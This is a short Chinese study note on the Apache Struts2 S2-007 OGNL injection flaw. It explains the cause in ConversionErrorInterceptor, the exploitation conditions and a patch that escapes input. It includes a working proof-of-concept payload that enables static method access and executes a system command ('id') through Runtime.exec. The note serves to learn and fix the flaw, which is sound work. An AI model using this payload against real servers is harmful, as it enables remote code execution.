写在前面
这篇文章是关于作者学习s2-007漏洞的笔记
关于这篇文章,如果有建议或问题请留言或联系h3llow0rld@foxmail.com
正文
漏洞分析
影响版本
Struts 2.0.0 - Struts 2.2.3
漏洞原理
struts2可以为表单的每个字段设置限定条件并且能依据条件进行简单的类型转换,如果类型转换错误,拦截器会将用户的输入取出,进行字符串拼接后插入值栈,然后对标签进行二次表达式解析,造成OGNL注入
// com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor#getOverrideExpr
protected Object getOverrideExpr(ActionInvocation invocation, Object value) {
return "'" + value + "'";
}
利用条件/测试场景
1.利用条件
有表单,并且应用为表单配置了对应的Validation.xml规则文件
2.测试场景
只要存在表单就可以使用payload进行测试
利用方法
PoC:' + (#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
如何修复
紧急处理方法(仅供参考)
删掉对应的Validation.xml,手动实现对字段的校验和转换
补丁修复方法
对输入进行转义
// com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor#getOverrideExpr
protected Object getOverrideExpr(ActionInvocation invocation, Object value) {
ValueStack stack = invocation.getStack();
try {
stack.push(value);
return escape(stack.findString("top"));
} finally {
stack.pop();
}
}